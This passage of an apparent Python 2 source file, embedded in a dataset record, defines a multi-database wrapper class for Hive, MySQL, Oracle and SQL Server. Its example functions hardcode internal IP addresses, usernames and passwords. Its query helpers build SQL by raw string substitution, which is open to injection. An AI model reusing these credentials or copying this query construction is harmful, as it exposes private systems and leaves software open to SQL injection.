TTransport.TBufferedTransport(transport)\\n\\t\\t\\t\\tself.conn.open()\\n\\t\\t\\texcept Thrift.TException, tx:\\n\\t\\t\\t\\tsys.stderr.write('Hive Connection Error:%s\\\\n' % (tx))\\n\\t\\t\\t\\tself.close()\\n\\t\\t\\t\\traise SystemError, tx\\n\\t\\treturn self\\n\\n\\n\\tdef Connect(dbtype, host = '', dsn = '', database = '', charset = '', user = '', password = '', port = 0):\\n\\t\\t'''\\n\\t\\t\\tconnect函数的静态版\\n\\t\\t\\t返回一个DataObject连接对象\\n\\t\\t'''\\n\\t\\t_dbtype = dbtype.lower()\\n\\t\\t_host = host\\n\\t\\t_dsn = dsn\\n\\t\\t_user = user\\n\\t\\t_password = password\\n\\t\\t_db = database\\n\\t\\t_port = int(port)\\n\\t\\t_charset = charset\\n\\n\\t\\tobj = DataObject()\\n\\t\\treturn obj.connect(_dbtype, _host, _dsn, _db, _charset, _user, _password, _port)\\n\\tConnect = staticmethod(Connect)\\n\\n\\n\\tdef get_origin_conn(self):\\n\\t\\t'''\\n\\t\\t\\t返回原生的连接对象，从而可以使用不同具体驱动的特性\\n\\t\\t\\t例如 mysql连接的DataObject对象将返回 MySQLdb对象，从而\\n\\t\\t\\t可以使用MySQLdb.connection的成员函数（方法）\\n\\t\\t'''\\n\\t\\treturn self.conn\\n\\n\\n\\tdef get_cursor(self):\\n\\t\\t'''\\n\\t\\t\\t[deplicate function]\\n\\t\\t\\t在连接上获取一个cursor,最好不要直接调用\\n\\t\\t'''\\n\\t\\tif self.cursor:\\n\\t\\t\\tself.close_cursor()\\n\\n\\t\\tif self.conn_str[0] in ['mssql','oracle']:\\n\\t\\t\\tself.cursor = self.conn.cursor()\\n\\n\\t\\tif self.conn_str[0] in ['mysql']:\\n\\t\\t\\timport MySQLdb\\n\\t\\t\\tself.cursor = self.conn.cursor(cursorclass=MySQLdb.cursors.SSCursor)\\n\\n\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tprotocol = TBinaryProtocol.TBinaryProtocol(self.conn)\\n\\t\\t\\t\\tself.cursor = ThriftHive.Client(protocol)\\n\\t\\t\\texcept Thrift.TException, ex:\\n\\t\\t\\t\\tself.close()\\n\\t\\t\\t\\tsys.stderr.write('%s\\\\n' % (ex))\\n\\t\\t\\t\\traise SystemError, ex\\n\\t\\treturn self.cursor\\n\\n\\n\\tdef close_cursor(self):\\n\\t\\t'''\\n\\t\\t\\t[deplicate function]\\n\\t\\t\\t关闭此连接对象上的cursor\\n\\t\\t'''\\n\\t\\tif not self.cursor:\\n\\t\\t\\treturn\\n\\t\\ttry:\\n\\t\\t\\tif self.conn_str[0] in ['mysql','mssql','oracle']:\\n\\t\\t\\t\\tself.cursor.close()\\n\\t\\t\\t\\tself.cursor = None\\n\\t\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\t\\tself.cursor.clean()\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex \\n\\n\\tdef _execute(self,cursor,sql):\\n\\t\\t# 每次execute执行之前，将上次缓存的游标影响行数清空\\n\\t\\tself.rowcount = 0\\n\\t\\tif self.conn_str[0] in ['mysql','mssql','oracle']:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tcursor.execute(sql)\\n\\t\\t\\texcept Exception, ex:\\n\\t\\t\\t\\tsys.stderr.write('SQL or Interface Error:%s\\\\n[SQL]:%s\\\\n' % (ex,sql))\\n\\t\\t\\t\\traise SystemError, 'SQL or Interface Error:%s\\\\n[SQL]:%s\\\\n' % (ex,sql)\\n\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tcursor.execute(sql)\\n\\t\\t\\texcept Thrift.TException, ex:\\n\\t\\t\\t\\tsys.stderr.write('SQL or Interface Error:%s\\\\n[SQL]:%s\\\\n' % (ex,sql))\\n\\t\\t\\t\\traise SystemError, 'SQL or Interface Error:%s\\\\n[SQL]:%s\\\\n' % (ex,sql)\\n\\n\\n\\tdef _commit(self):\\n\\t\\tself.conn.commit()\\n\\n\\n\\tdef execute(self,sql,params={}):\\n\\t\\t'''\\n\\t\\t\\t在连接上执行一个query，params是一个字典，用params中的值替换sql中的键\\n\\t\\t'''\\n\\t\\tif not isinstance(params,dict):\\n\\t\\t\\tsys.stderr.write(\\\"Params Error:'%s' is not dictionary\\\\n\\\" % (params))\\n\\t\\t\\traise SystemError, \\\"Params Error:'%s' is not dictionary\\\\n\\\" % (params)\\n\\t\\t#如果有参数，进行参数替换\\n\\t\\tif len(params) != 0:\\n\\t\\t\\tsql = DataObject.Check_query(sql,params)\\n\\t\\tself.get_cursor()\\n\\t\\tif self.cursor == None:\\n\\t\\t\\traise NameError, 'self.cursor is not defined!\\\\n'\\n\\t\\tself._execute(self.cursor, sql)\\n\\n\\n\\tdef commit(self):\\n\\t\\t'''\\n\\t\\t\\t在非自动提交模式\\n\\t\\t\\t针对所有update, delete, insert更新操作（execute调用）\\n\\t\\t\\t执行一个提交操作\\n\\t\\t\\t只对事务性数据库有效\\n\\t\\t'''\\n\\t\\tself._commit()\\n\\n\\n\\tdef rollback(self):\\n\\t\\t'''\\n\\t\\t\\t在非自动提交模式\\n\\t\\t\\t执行一个回滚操作\\n\\t\\t\\t对事务性数据库有效\\n\\t\\t'''\\n\\t\\tif self.conn_str[0] in ['mysql', 'mssql', 'oracle']:\\n\\t\\t\\tself.conn.rollback()\\n\\t\\telse:\\n\\t\\t\\traise NotSupportedError, 'hive does not support rollback'\\n\\n\\n\\tdef Get_query(configpath,title,sqlname,params = {}):\\n\\t\\t'''\\n\\t\\t\\tget_query的静态版本\\n\\t\\t'''\\n\\t\\tif not isinstance(params,dict):\\n\\t\\t\\tsys.stderr.write(\\\"Params Error:'%s' is not dictionary\\\\n\\\" % (params))\\n\\t\\t\\traise SystemError, \\\"Params Error:'%s' is not dictionary\\\\n\\\" % (params)\\n\\t\\tconfig = ConfigParser.ConfigParser()\\n\\t\\tconfig.read(configpath)\\n\\t\\tsql = config.get(title,sqlname)\\n\\t\\tsql = DataObject.Check_query(sql,params)\\n\\t\\tsql = '\\\\x20'.join(sql.split('\\\\n'))\\n\\t\\treturn sql\\n\\tGet_query = staticmethod(Get_query)\\n\\t\\n\\n\\tdef get_query(self,configpath,title,sqlname,params = {}):\\n\\t\\t'''\\n\\t\\t\\t从配置文件中获取一个sql，params是一个字典，在用值替换SQL中的键\\n\\t\\t'''\\n\\t\\tif not isinstance(params,dict):\\n\\t\\t\\tsys.stderr.write(\\\"Params Error:'%s' is not dictionary\\\\n\\\" % (params))\\n\\t\\t\\traise SystemError, \\\"Params Error:'%s' is not dictionary\\\\n\\\" % (params)\\n\\t\\tconfig = ConfigParser.ConfigParser()\\n\\t\\tconfig.read(configpath)\\n\\t\\tsql = config.get(title,sqlname)\\n\\t\\tsql = DataObject.Check_query(sql,params)\\n\\t\\tsql = '\\\\x20'.join(sql.split('\\\\n'))\\n\\t\\treturn sql \\n\\n\\n\\tdef create_table(self,sql):\\n\\t\\t'''\\n\\t\\t\\t按照SQL创建一个表\\n\\t\\t'''\\n\\t\\tif self.conn_str[0] in ['mysql']:\\n\\t\\t\\tself._create_mysql_tbl(sql)\\n\\n\\t\\tif self.conn_str[0] in ['hive']:\\n\\t\\t\\tself._create_hive_tbl(sql)\\n\\t\\t\\t\\t\\n\\n\\tdef _create_hive_tbl(self,sql):\\n\\t\\tself.execute(sql)\\n\\n\\n\\tdef _create_mysql_tbl(self,sql):\\n\\t\\tself.execute(sql)\\n\\n\\n\\tdef drop_table(self,sql):\\n\\t\\t'''\\n\\t\\t\\t按照SQLdrop一个表\\n\\t\\t'''\\n\\t\\tif self.conn_str[0] in ['mysql']:\\n\\t\\t\\tself._drop_mysql_tbl(sql)\\n\\t\\tif self.conn_str[0] in ['hive']:\\n\\t\\t\\tself._drop_hive_tbl(sql)\\n\\n\\n\\tdef _drop_hive_tbl(self,sql):\\n\\t\\tself.execute(sql)\\n\\n\\n\\tdef _drop_mysql_tbl(self,sql):\\n\\t\\tself.execute(sql)\\n\\n\\n\\tdef load_to_txt(self,sql,filepath,append=False, use_filter=True):\\n\\t\\t'''\\n\\t\\t\\t把数据源中的数据按照SQL放入指定路径的文件中\\n\\t\\t\\tappend: 写入文件时是否使用追加的方式，True表示使用追加\\n\\t\\t\\tuse_filter: 是否过滤数据，True表示使用内部函数data_filter过滤数据，\\n\\t\\t\\t\\t\\t\\t此选项将对性能造成较大影响\\n\\t\\t'''\\n\\t\\tif self.conn_str[0] in ['mysql','mssql','oracle']:\\n\\t\\t\\tself._db_to_file(sql,filepath,append, use_filter)\\n\\t\\t\\treturn self.rowcount \\n\\n\\t\\tif self.conn_str[0] in ['hive']:\\n\\t\\t\\tself._hive_to_file(sql,filepath,append, use_filter)\\n\\t\\t\\treturn self.rowcount\\n\\n\\n\\tdef _hive_to_file(self,sql,filepath,append, use_filter):\\n\\t\\tfile = None\\n\\t\\tif append == False:\\n\\t\\t\\tfile = open(filepath,'w')\\n\\t\\telse:\\n\\t\\t\\tfile = open(filepath,'a')\\n\\t\\tself.execute(sql)\\n\\t\\tline = ''\\n\\t\\twhile (1):\\n\\t\\t\\trows = self.fetchmany(1000)\\n\\t\\t\\tif len(rows) == 0:\\n\\t\\t\\t\\tbreak\\n\\t\\t\\tfor row in rows:\\n\\t\\t\\t\\tfields = []\\n\\t\\t\\t\\tfor item in row:\\n\\t\\t\\t\\t\\t#过滤字段中的特殊字符\\n\\t\\t\\t\\t\\tif use_filter:\\n\\t\\t\\t\\t\\t fields.append(self.data_filter(item))\\n\\t\\t\\t\\t\\t#不过滤\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t fields.append(item)\\n\\t\\t\\t\\tline = '\\\\t'.join(fields) + '\\\\n'\\n\\t\\t\\t\\tfile.write(line)\\n\\t\\t\\t\\tfile.flush()\\n\\t\\t# ed while\\n\\t\\tfile.close()\\n\\n\\n\\tdef _db_to_file(self,sql,filepath,append, use_filter):\\n\\t\\tfile = None\\n\\t\\tif append == False:\\n\\t\\t\\tfile = open(filepath,'w')\\n\\t\\telse:\\n\\t\\t\\tfile = open(filepath,'a')\\n\\t\\tself.execute(sql)\\n\\t\\twhile(True):\\n\\t\\t\\trows = self.fetchmany(1000)\\n\\t\\t\\tif len(rows) <= 0:\\n\\t\\t\\t\\tbreak\\n\\t\\t\\tfor row in rows:\\n\\t\\t\\t\\tfields = []\\n\\t\\t\\t\\tfor item in row:\\n\\t\\t\\t\\t\\t#数据清洗\\n\\t\\t\\t\\t\\tif use_filter:\\n\\t\\t\\t\\t\\t\\tfields.append(self.data_filter(item))\\n\\t\\t\\t\\t\\t#不清洗\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tfields.append(self.to_str(item))\\n\\t\\t\\t\\tline = '\\\\t'.join(fields) + '\\\\n'\\t\\n\\t\\t\\t\\tfile.write(line)\\n\\t\\t\\t\\tfile.flush()\\n\\t\\t#END WHILE\\n\\t\\tfile.close()\\n\\n\\n\\tdef check_query(self,sql,params):\\n\\t\\t'''\\n\\t\\t\\t[duplicate function]\\n\\t\\t\\t检查SQL是否符合规范, 不要直接调用\\n\\t\\t'''\\n\\t\\tif len(params) != 0:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tfor key in params:\\n\\t\\t\\t\\t\\tif params.get(key) == None:\\n\\t\\t\\t\\t\\t\\traise AttributeError, 'AttributeError:key(%s) in params has no Value' % (key)\\n\\t\\t\\t\\t\\tif sql.find(('%s' % key)) == -1:\\n\\t\\t\\t\\t\\t\\traise AttributeError, 'AttributeError:key(%s) in params is not in [SQL]:%s' % (key,sql)\\n\\t\\t\\t\\t\\tvar = '%s' % key\\n\\t\\t\\t\\t\\tval = \\\"%s\\\" % params.get(key)\\n\\t\\t\\t\\t\\tsql = sql.replace(var,val)\\n\\t\\t\\texcept AttributeError, ex:\\n\\t\\t\\t\\tsys.stderr.write('%s\\\\n' % ex)\\n\\t\\t\\t\\traise SystemError, ex\\n\\t\\treturn sql\\n\\n\\n\\tdef Check_query(sql,params):\\n\\t\\t'''\\n\\t\\t\\tcheck_query的静态版本\\n\\t\\t'''\\n\\t\\tif len(params) != 0:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tfor key in params:\\n\\t\\t\\t\\t\\tif params.get(key) == None:\\n\\t\\t\\t\\t\\t\\traise AttributeError, 'AttributeError:key(%s) in params has no Value' % (key)\\n\\t\\t\\t\\t\\tif sql.find(('%s' % key)) == -1:\\n\\t\\t\\t\\t\\t\\traise AttributeError, 'AttributeError:key(%s) in params is not in [SQL]:%s' % (key,sql)\\n\\t\\t\\t\\t\\tvar = '%s' % key\\n\\t\\t\\t\\t\\tval = \\\"%s\\\" % params.get(key)\\n\\t\\t\\t\\t\\tsql = sql.replace(var,val)\\n\\t\\t\\texcept AttributeError, ex:\\n\\t\\t\\t\\tsys.stderr.write('%s\\\\n' % ex)\\n\\t\\t\\t\\traise SystemError, ex\\n\\t\\treturn sql\\n\\tCheck_query = staticmethod(Check_query)\\n\\n\\n\\tdef load_from_txt(self,filepath,tblname,replace=False,fields_trnr='\\\\t'):\\n\\t\\t'''\\n\\t\\t\\tload_to_txt的配对函数，用于把文件中的数据load进新数据源\\n\\t\\t\\t要求目标数据的schema已经存在\\n\\t\\t\\t目前只支持 all ---> mysql 与 all ---> hive方式\\n\\t\\t\\ttblname: 目标表名或是库.表 名\\n\\t\\t\\treplace: load数据时，遇见相同的行是否用新行替换，True表示替换\\n\\t\\t\\tfields_trnr: load时，数据文件字段分割符\\n\\t\\t'''\\n\\t\\tif self.conn_str[0] in ['mysql']:\\n\\t\\t\\treturn self._load_to_mysql(filepath,tblname,replace,fields_trnr)\\n\\t\\tif self.conn_str[0] in ['mssql']:\\n\\t\\t\\tsys.stderr.write('SQL Server Load Program is not ready yet\\\\n')\\n\\t\\tif self.conn_str[0] in ['hive']:\\n\\t\\t\\treturn self._load_to_hive(filepath,tblname)\\n\\n\\n\\tdef _load_to_mysql(self,filepath,tblname,replace,fields_trnr):\\n\\t\\t\\tpredo = 'SET max_error_count = 0; '\\n\\t\\t\\tif replace == True:\\n\\t\\t\\t\\tsql = \\\"LOAD DATA LOCAL INFILE '%s' REPLACE INTO TABLE %s CHARACTER SET UTF8 FIELDS TERMINATED BY \\\" \\\\\\n\\t\\t\\t\\t\\t \\\"'%s' ENCLOSED BY '%s'; \\\" % (filepath, tblname, fields_trnr, '\\\\\\\"')\\n\\t\\t\\telse:\\n\\t\\t\\t\\tsql = \\\"LOAD DATA LOCAL INFILE '%s' IGNORE INTO TABLE %s CHARACTER SET UTF8 FIELDS TERMINATED BY \\\" \\\\\\n\\t\\t\\t\\t\\t \\\"'%s' ENCLOSED BY '%s'; \\\" % (filepath, tblname, fields_trnr, '\\\\\\\"') \\n\\t\\t\\ttry:\\n\\t\\t\\t\\tself.execute(predo)\\n\\t\\t\\texcept Error, ex:\\n\\t\\t\\t\\traise SystemError, '(MySQL LOAD DATA ERROR)%s' % ex\\n\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tself.execute(sql)\\n\\t\\t\\t\\tself.commit()\\n\\t\\t\\texcept Error, ex:\\n\\t\\t\\t\\traise SystemError, '(MySQL LOAD DATA ERROR)%s' % ex\\n\\n\\n\\tdef _load_to_hive(self,filepath,tblname):\\n\\t\\t\\tsql = 'LOAD DATA LOCAL INPATH ' + \\\"'\\\" + filepath + \\\"'\\\" + ' INTO TABLE ' + tblname\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tself.execute(sql)\\n\\t\\t\\texcept Thrift.TException, ex:\\n\\t\\t\\t\\traise SystemError, '(HIVE LOAD DATA ERROR)%s' % ex\\n \\n\\n\\tdef _load_to_oracle(self,filepath,tblname):\\n\\t\\tpass\\n\\n\\n\\tdef Insert_as_select(src,dest,sql,tblname,replace = False, use_filter = True):\\n\\t\\t'''\\n\\t\\t\\t此函数先对数据源src（hive, mysql, oracle, sqlserver）上执行一个查询\\n\\t\\t\\t然后在dest（仅限mysql）上根据查询的结果集迭代的执行insert\\n\\t\\t\\t这一对儿动作是一个原子操作\\n\\t\\t\\t目前支持 all ---> mysql 方式\\n\\t\\t\\tsrc: 源连接 DataObject对象\\n\\t\\t\\tdest: 目标连接 DataObject对象\\n\\t\\t\\treplace, use_filter同load_from_txt()\\n\\t\\t'''\\n\\t\\tif dest.conn_str[0] in ['mysql']:\\n\\t\\t\\tcursor = dest.conn.cursor()\\n\\t\\t\\tcursor.execute('set autocommit = 1')\\n\\t\\t\\tcursor.execute('set max_error_count = 0')\\n\\t\\t\\tcursor.close()\\n\\t\\t\\n\\t\\tsrc.execute(sql)\\n\\t\\twhile (1):\\n\\t\\t\\t#按源数据库的类型拿到要插入的数据集\\n\\t\\t\\trows = src.fetchmany(1000)\\n\\t\\t\\tif len(rows) <= 0:\\n\\t\\t\\t\\tbreak\\n\\t\\t\\tdataset = []\\n\\t\\t\\tfor row in rows:\\n\\t\\t\\t\\tinner_lst = []\\n\\t\\t\\t\\tfor item in row:\\n\\t\\t\\t\\t\\t#数据清洗\\n\\t\\t\\t\\t\\tif use_filter:\\n\\t\\t\\t\\t\\t\\titem = src.data_filter(item)\\n\\t\\t\\t\\t\\t#不清洗\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\titem = src.to_str(item)\\n\\t\\t\\t\\t\\tinner_lst.append(item)\\n\\t\\t\\t\\tdataset.append(inner_lst)\\n\\t\\t\\t#数据合并，按目标数据库类型的不同执行不同的合并函数\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tif dest.conn_str[0] in ['mysql']:\\n\\t\\t\\t\\t\\tDataObject._Insert_to_mysql_select(dest,dataset,tblname,replace)\\n\\t\\t\\t\\tif dest.conn_str[0] in ['hive']:\\n\\t\\t\\t\\t\\traise ValueError, \\\"ValueError:Hive does not support 'Insert' Mutipulation\\\"\\n\\t\\t\\t\\tif dest.conn_str[0] in ['Oracle']:\\n\\t\\t\\t\\t\\traise SystemError, \\\"Exit Request:Oracle does not yet supported\\\"\\n\\t\\t\\texcept (ValueError,SystemError), ex:\\n\\t\\t\\t\\tsys.stderr.write('%s\\\\n' % (ex))\\n\\t\\t\\t\\traise SystemError, ex\\n\\t\\treturn dest.rowcount\\n\\tInsert_as_select = staticmethod(Insert_as_select)\\n\\n\\n\\tdef _Insert_to_mysql_select(dest,dataset,tblname,replace):\\n\\t\\tif replace == True:\\n\\t\\t\\tfor row in dataset:\\n\\t\\t\\t\\tcursor = dest.conn.cursor()\\n\\t\\t\\t\\tsql = \\\"REPLACE INTO %s VALUES (\\\" % (tblname)\\n\\t\\t\\t\\tfor item in row:\\n\\t\\t\\t\\t\\tif item in [\\\"''\\\",'\\\"\\\"']:\\n\\t\\t\\t\\t\\t\\tsql += \\\"'',\\\"\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tsql += \\\"'%s',\\\" % (item)\\n\\t\\t\\t\\tsql = sql[:-1] + ');'\\n\\t\\t\\t\\tcursor.execute(sql)\\n\\t\\t\\t\\tdest.rowcount += 1\\n\\t\\t\\t\\tcursor.close()\\n\\t\\telse:\\n\\t\\t\\tfor row in dataset:\\n\\t\\t\\t\\tcursor = dest.conn.cursor()\\n\\t\\t\\t\\tsql = \\\"INSERT IGNORE INTO %s VALUES (\\\" % (tblname)\\n\\t\\t\\t\\tfor item in row:\\n\\t\\t\\t\\t\\tif item in [\\\"''\\\",'\\\"\\\"']:\\n\\t\\t\\t\\t\\t\\tsql += \\\"'',\\\"\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tsql += \\\"'%s',\\\" % (item)\\n\\t\\t\\t\\tsql = sql[:-1] + ');'\\n\\t\\t\\t\\tcursor.execute(sql)\\n\\t\\t\\t\\tdest.rowcount += 1\\n\\t\\t\\t\\tcursor.close()\\n\\t_Insert_to_mysql_select = staticmethod(_Insert_to_mysql_select)\\n\\n\\n\\tdef _Insert_to_oracle_select(dest,dataset,tblname):\\n\\t\\tpass\\n\\t_Insert_to_oracle_select = staticmethod(_Insert_to_oracle_select)\\n\\n\\n\\tdef fetchmany(self,count):\\n\\t\\t'''\\n\\t\\t\\t没什么，就是fetchmany\\n\\t\\t\\tcount为一次迭代取的行数\\n\\t\\t'''\\n\\t\\tif not self.cursor:\\n\\t\\t\\traise NameError, 'self.cursor is not defined!\\\\n'\\n\\t\\tresult = []\\n\\t\\tif self.conn_str[0] == 'mssql':\\n\\t\\t\\tresult = self.cursor.fetchmany(count)\\n\\t\\t\\tself.rowcount = self.cursor.rowcount\\n\\n\\t\\tif self.conn_str[0] == 'mysql':\\n\\t\\t\\tresult = self.cursor.fetchmany(count)\\n\\t\\t\\tself.rowcount += len(result)\\n\\n\\t\\tif self.conn_str[0] == 'oracle':\\n\\t\\t\\tresult = self.cursor.fetchmany(count)\\n\\t\\t\\tself.rowcount = self.cursor.rowcount\\n\\n\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\ttry:\\n\\t\\t\\t\\trows = self.cursor.fetchN(count)\\n\\t\\t\\t\\tif len(rows) <= 0:\\n\\t\\t\\t\\t\\treturn result\\n\\t\\t\\t\\tfor row in rows:\\n\\t\\t\\t\\t\\tlist = row.split('\\\\t')\\n\\t\\t\\t\\t\\tresult.append(list)\\n\\t\\t\\t\\tself.rowcount += len(rows)\\n\\t\\t\\texcept Thrift.TException, tx:\\n\\t\\t\\t\\tself.close()\\n\\t\\t\\t\\tsys.stderr.write('%s\\\\n' % (tx))\\n\\t\\t\\t\\traise SystemError, tx\\n\\t\\treturn result\\n\\n\\n\\tdef fetchone(self):\\n\\t\\t'''\\n\\t\\t\\t没什么，就是fetchone\\n\\t\\t'''\\n\\t\\tif not self.cursor:\\n\\t\\t\\traise NameError, 'self.cursor is not defined!'\\n\\t\\tresult = []\\n\\t\\tif self.conn_str[0] == 'mssql':\\n\\t\\t\\tresult = self.cursor.fetchone()\\n\\t\\t\\tself.rowcount = self.cursor.rowcount\\n\\n\\t\\tif self.conn_str[0] == 'mysql':\\n\\t\\t\\tresult = self.cursor.fetchone()\\n\\t\\t\\tself.rowcount += 1\\n\\n\\t\\tif self.conn_str[0] == 'oracle':\\n\\t\\t\\tresult = self.cursor.fetchone()\\n\\t\\t\\tself.rowcount = self.cursor.rowcount\\n\\n\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\ttry:\\n\\t\\t\\t\\trow = self.cursor.fetchOne()\\n\\t\\t\\t\\tif len(row) <= 0:\\n\\t\\t\\t\\t\\treturn result\\n\\t\\t\\t\\tresult = row.split('\\\\t')\\n\\t\\t\\t\\tself.rowcount += 1\\n\\t\\t\\texcept Thrift.TException, tx:\\n\\t\\t\\t\\tself.close()\\n\\t\\t\\t\\tsys.stderr.write('%s\\\\n' % (tx))\\n\\t\\t\\t\\traise SystemError, tx\\n\\t\\treturn result\\n\\n\\n\\tdef fetchall(self):\\n\\t\\t'''\\n\\t\\t\\t没什么，就是fetchall\\n\\t\\t'''\\n\\t\\tif not self.cursor:\\n\\t\\t\\traise NameError, 'self.cursor is not defined!'\\n\\t\\tresult = []\\n\\t\\tif self.conn_str[0] == 'mssql':\\n\\t\\t\\tresult = self.cursor.fetchall()\\n\\t\\t\\tself.rowcount = self.cursor.rowcount\\n\\t\\t\\n\\t\\tif self.conn_str[0] == 'mysql':\\n\\t\\t\\tresult = self.cursor.fetchall()\\n\\t\\t\\tself.rowcount = len(result)\\n\\n\\t\\tif self.conn_str[0] == 'oracle':\\n\\t\\t\\tresult = self.cursor.fetchall()\\n\\t\\t\\tself.rowcount = self.cursor.rowcount\\n\\n\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\ttry:\\n\\t\\t\\t\\trows = self.cursor.fetchAll()\\n\\t\\t\\t\\tif len(rows) <= 0:\\n\\t\\t\\t\\t\\treturn result\\n\\t\\t\\t\\tfor row in rows:\\n\\t\\t\\t\\t\\tlist = row.split('\\\\t')\\n\\t\\t\\t\\t\\tresult.append(list)\\n\\t\\t\\t\\tself.rowcount = len(rows)\\n\\t\\t\\texcept Thrift.TException, tx:\\n\\t\\t\\t\\tself.close()\\n\\t\\t\\t\\tsys.stderr.write('%s\\\\n' % (tx))\\n\\t\\t\\t\\traise SystemError, tx\\n\\t\\treturn result\\n\\n\\n\\tdef rows_affected(self):\\n\\t\\t'''\\n\\t\\t\\t返回影响行数（整数）\\n\\t\\t'''\\n\\t\\treturn self.rowcount\\n\\n\\n\\tdef to_str(self,field):\\n\\t\\tif field in ['',\\\"''\\\",None]:\\n\\t\\t\\tfield = '\\\"\\\"'\\n\\t\\tif self.conn_str[0] in ['mysql','mssql']:\\n\\t\\t\\tfield = unicode(field)\\n\\t\\tif self.conn_str[0] == 'oracle':\\n\\t\\t\\tfield = str(field)\\n\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\tpass\\n\\t\\treturn field\\n\\n\\n\\tdef data_filter(self,field):\\n\\t\\t'''\\n\\t\\t\\t数据清洗，不要直接调用\\n\\t\\t'''\\n\\t\\tif field in [None,'','\\\"',\\\"'\\\",\\\"''\\\"]:\\n\\t\\t\\tfield = '\\\"\\\"'\\n\\t\\telse:\\n\\t\\t\\t#从db拿到的数据有各种类型，要统一转成字符串\\n\\t\\t\\tif self.conn_str[0] in ['mysql','mssql']:\\n\\t\\t\\t\\tfield = unicode(field)\\n\\t\\t\\tif self.conn_str[0] in ['oracle']:\\n\\t\\t\\t\\tfield = str(field)\\n\\t\\t\\t#从hive拿到的数据本身是字符串，不用转\\n\\t\\t\\tif self.conn_str[0] == 'hive':\\n\\t\\t\\t\\tpass\\n\\t\\t\\t#不将双引号本身转义\\n\\t\\t\\tif len(field) >= 3:\\n\\t\\t\\t\\tfield = field.replace('\\\"','')\\n\\t\\t\\t\\tfield = field.replace(\\\"'\\\",'')\\n\\n\\t\\t\\t#控制字符过滤\\n\\t\\t\\t#ctrl + A/a --- ctrl + Z/z\\n\\t\\t\\tfield = re.sub(r'\\\\x01|\\\\x02|\\\\x03|\\\\x08|\\\\x09|\\\\x0A|\\\\x0B|\\\\x0C|\\\\x0D|\\\\x1B|\\\\x1C|\\\\x1D|\\\\x1E|\\\\x1F|\\\\\\\\', \\n\\t\\t\\t\\t\\t\\t\\t'', field)\\n\\t\\treturn field\\n\\n\\n\\tdef close(self):\\n\\t\\t'''\\n\\t\\t\\t关闭DataObject连接\\n\\t\\t'''\\n\\t\\tif self.conn:\\n\\t\\t\\tself.close_cursor()\\n\\t\\t\\tself.conn.close()\\n\\t\\tself.rowcount = 0\\n\\t\\tself.conn = None\\n \\n\\n\\tdef disconnect(self):\\n\\t\\t'''\\n\\t\\t\\tclose的向下兼容版本\\n\\t\\t'''\\n\\t\\tself.close()\\n\\n\\n\\tdef __del__(self):\\n\\t\\t'''\\n\\t\\t\\t析构函数, 回收连接相关资源\\n\\t\\t'''\\n\\t\\tself.close()\\n\\n\\n\\ndef hive_exmp():\\n\\t'''\\n\\t\\t我们的21集群没权限系统，所以无用户名和密码形参\\n\\t'''\\n\\tconn = DataObject.Connect(dbtype='hive', host='localhost', port=10010)\\n\\tconn.execute('use addr')\\n\\tconn.execute('select * from user_addr_in_order limit 2')\\n\\tfor row in conn.fetchall():\\n\\t\\tprint '\\\\t'.join(map(str, row))\\n\\tconn.close()\\n\\n\\ndef mysql_exmp():\\n\\t'''\\n\\t\\tdbtype, host, user, password, port是必填项\\n\\t'''\\n\\tconn = DataObject.Connect(dbtype='mysql', host='10.255.253.16', user='readuser', password='ru@r&d', \\\\\\n\\t\\t\\t\\t\\t\\t\\t port=3306, database='AntiFraud', charset='utf8')\\n\\tconn.execute('show tables')\\n\\tfor row in conn.fetchall():\\n\\t\\tprint '\\\\t'.join(map(str, row))\\n\\tconn.close()\\n\\n\\ndef oracle_exmp():\\n\\t'''\\n\\t\\t要求使用dsn去连接oracle\\n\\t\\tdbtype, dsn, user, password是必填项\\n\\t'''\\n\\tconn = DataObject.Connect(dbtype='oracle', dsn='reportstaging.idc2:1521/staging1', user='v_stage', \\\\\\n\\t\\t\\t\\t\\t\\t\\t password='v_stage') \\n\\tconn.execute('select table_name from user_tables')\\n\\tfor row in conn.fetchall():\\n\\t\\tprint '\\\\t'.join(map(str, row))\\n\\tconn.close()\\n\\n\\ndef sqlserver_exmp():\\n\\t'''\\n\\t\\tdbtype, host, user, password, port是必填项\\n\\t'''\\n\\tconn = DataObject.Connect(dbtype='mssql', host='172.16.128.86', user='readuser', password='password', port=1433, \\\\\\n\\t\\t\\t\\t\\t\\t\\t database='customer', charset='utf8')\\n\\tconn.execute('select top(2) * from customers')\\n\\tfor row in conn.fetchall():\\n\\t\\tprint '\\\\t'.join(map(str, row))\\n\\tconn.close()\\n\\n\\ndef main():\\n\\tprint '由于连接或端口限制，以下所有例子，只保证在21上执行成功'\\n\\tprint '************ hive example **************'\\n\\thive_exmp()\\n\\tprint '************ mysql example *************'\\n\\tmysql_exmp()\\n\\tprint '************ oracle example ************'\\n\\toracle_exmp()\\n\\tprint '************ sqlserver example *********'\\n\\tsqlserver_exmp()\\n\\tprint '***************** end ******************'\\n\\n\\nif __name__ == '__main__':\\n\\tmain()\\n\"\n },\n {\n \"alpha_fraction\": 0.6483445763587952,\n \"alphanum_fraction\": 0.6518804430961609,\n \"avg_line_length\": 20.163265228271484,\n \"blob_id\": \"4c57f45a29ab1cd00d7b32ca991e7d9434ef7bbf\",\n \"content_id\": \"d9180a69f5c57ccd6598766ec9dd16ec6828865a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3259,\n 